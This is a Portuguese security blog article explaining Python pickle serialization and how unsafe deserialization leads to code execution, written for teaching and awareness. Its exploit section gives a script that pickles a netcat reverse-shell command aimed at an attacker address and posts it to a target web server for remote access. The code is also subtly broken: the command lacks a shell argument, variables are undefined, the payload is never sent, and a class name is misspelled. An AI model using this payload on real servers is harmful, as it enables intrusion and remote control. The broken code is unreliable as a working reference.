Por Felipe Torquato – Líder Técnico do Real Protect Security Red Team

A desserialização de dados não confiáveis é uma vulnerabilidade muito séria que podemos ver cada vez com mais freqüência nas divulgações de segurança atuais.

 

Mas o que é serialização e desserialização?

Diretamente da Wikipedia: Em ciência da computação, no contexto de armazenamento de dados, serialização é o processo de traduzir estruturas de dados ou estado de objeto em um formato que pode ser armazenado (por exemplo, em um arquivo ou buffer de memória) ou transmitido (por exemplo, através de uma conexão de rede link) e reconstruído mais tarde (possivelmente em um ambiente diferente de computador). Quando a série resultante de bits é relida de acordo com o formato de serialização, ela pode ser usada para criar um clone semanticamente idêntico do objeto original. Para muitos objetos complexos, como aqueles que fazem uso extensivo de referências, esse processo não é direto. A serialização de objetos orientados a objetos não inclui nenhum dos métodos associados aos quais eles foram vinculados anteriormente.

Serialização e Desserialização são mecanismos usados em muitos ambientes (web, mobile, IoT, etc) quando você precisa converter qualquer Objeto (pode ser uma OOM, uma matriz, um dicionário, um descritor de arquivo, por exemplo) para algo que você pode colocar “fora” do seu aplicativo (rede, sistema de arquivos, banco de dados). Esta conversão pode ser em ambos os sentidos, e é muito conveniente se você precisar salvar ou transferir dados (Ex: compartilhar o status de um jogo multicamadas, criar um arquivo “exportação” / “backup” em um projeto, etc).

No entanto, veremos neste artigo como esse tipo de comportamento pode ser muito perigoso, pois o fornecimento de input malicioso pode ter consequências catastróficas.

Python e serialização

O módulo pickle implementa um algoritmo para transformar um objeto Python arbitrário em uma série de bytes. Esse processo também é chamado de “serializar” o objeto. O fluxo de bytes que representa o objeto pode ser transmitido ou armazenado e, posteriormente, reconstruído para criar um novo objeto com as mesmas características.

O módulo cPickle implementa o mesmo algoritmo, em C em vez de Python. É muitas vezes mais rápido que a implementação do Python. É comum primeiro tentar importar o cPickle, dando um apelido de “pickle”. Se essa importação falhar por algum motivo, você poderá recorrer à implementação nativa do Python no módulo pickle. Isso oferece a implementação mais rápida, se estiver disponível, e a implementação portátil de outra forma.

try:
  import cPickle as pickle
except:
  import pickle

Codificando e Decodificando Dados em Strings

Este primeiro exemplo codifica uma estrutura de dados como uma string e depois imprime a string no console. Ele usa uma estrutura de dados composta de tipos inteiramente nativos. Instâncias de qualquer classe podem ser decodadas, como será ilustrado em um exemplo posterior. Usamos pickle.dumps () para criar uma representação de string do valor do objeto.

try:
   import cPickle as pickle
except:
   import pickle
import pprint

data = [ { ‘a’:‘A’, ‘b’:2, ‘c’:3.0 } ]
print ‘DATA:’,
pprint.pprint(data)

data_string = pickle.dumps(data)
print ‘PICKLE:’, data_string

 

Por padrão, o pickle conterá apenas caracteres ASCII. Um formato binário mais eficiente também está disponível, mas todos os exemplos aqui usam a saída ASCII porque é mais fácil de entender na impressão.

$ python pickle_string.py

DATA:[{‘a’: ‘A’, ‘b’: 2, ‘c’: 3.0}]
PICKLE: (lp1
(dp2
S’a’
S’A’
sS’c’
F3
sS’b’
I2
sa.

Depois que os dados forem serializados, você poderá gravá-los em um arquivo, soquete, canal etc. Em seguida, você poderá ler o arquivo e descompactar os dados para construir um novo objeto com os mesmos valores.

try:
   import cPickle as pickle
except:
   import pickle
import pprint

data1 = [ { ‘a’:‘A’, ‘b’:2, ‘c’:3.0 } ]
print ‘BEFORE:’,
pprint.pprint(data1)

data1_string = pickle.dumps(data1)

data2 = pickle.loads(data1_string)
print ‘AFTER:’,
pprint.pprint(data2)

print ‘SAME?:’, (data1 is data2)
print ‘EQUAL?:’, (data1 == data2)

Como você vê, o objeto recém-construído é o mesmo, mas não o mesmo objeto que o original!

$ python pickle_unpickle.py

BEFORE:[{‘a’: ‘A’, ‘b’: 2, ‘c’: 3.0}]
AFTER:[{‘a’: ‘A’, ‘b’: 2, ‘c’: 3.0}]
SAME?: False
EQUAL?: True

 

E o que há de errado com o Pickle?

O pickle (como qualquer outra biblioteca de serialização / desserialização) fornece uma maneira de executar comandos arbitrários.

Para fazer isso, basta criar um objeto e implementar um método __reduce __ (self). Esse método deve retornar uma lista de n elementos, sendo o primeiro um callable e os outros argumentos. O callable será executado com argumentos subjacentes e o resultado será a “desserialização” do objeto.

Por exemplo, se você salvar o seguinte objeto pickle:

import pickle
import os
class PiclesDoMal(object):
   def __reduce__(self):
       return (os.system, (‘echo Picles cai bem com Vodka!’, ))
pickle_data = pickle.dumps(PiclesdoMal())
with open(“backup.data”, “wb”) as file:
   file.write(pickle_data)

E depois tentar deserializar o objeto com:

import pickle
with open(“backup.data”, “rb”) as file:
   pickle_data = file.read()
my_data =  pickle.loads(pickle_data)

Um texto “Picles cai bem com Vodka!” será exibido com a função load, pois o echo “Picles cai bem com Vodka!” será executado. É fácil então imaginar o que podemos fazer com uma vulnerabilidade tão poderosa.

Exemplo de Exploit

O Exploit abaixo gera uma conexão reversa utilizando netcat como payload. O payload então é serializado e enviado para um servidor web que, ao desserializar o objeto, executará o código e fornecerá acesso remoto.

import cPickle

import os

import sys

import base64

import httplib, urllib

from hashlib import md5

DEFAULT_COMMAND = “nc -e 10.10.14.4 7001”

COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

class PickleRce(object):

def __reduce__(self):

    return (os.system,(COMMAND,))

pd = (cPickle.dumps(PickleRce()))

print “Fazendo post…”

params = urllib.urlencode({‘elemento’: char, ‘frase’:quote})

headers = {“Content-type”: “application/x-www-form-urlencoded”,“Accept”: “text/plain”}

conn = httplib.HTTPConnection(“1.1.1.1:80”)

conn.request(“POST”, “/aplicacao”, params, headers)

response = conn.getresponse()

print response.status, response.reason

print “DONE\n”

conn.close()

Como se proteger?

É simples – muito cuidado ao utilizar serializadores sem antes sanitizar o respectivo input! O mesmo vale para a desserialização.

Espero que tenham gostado e até a próxima!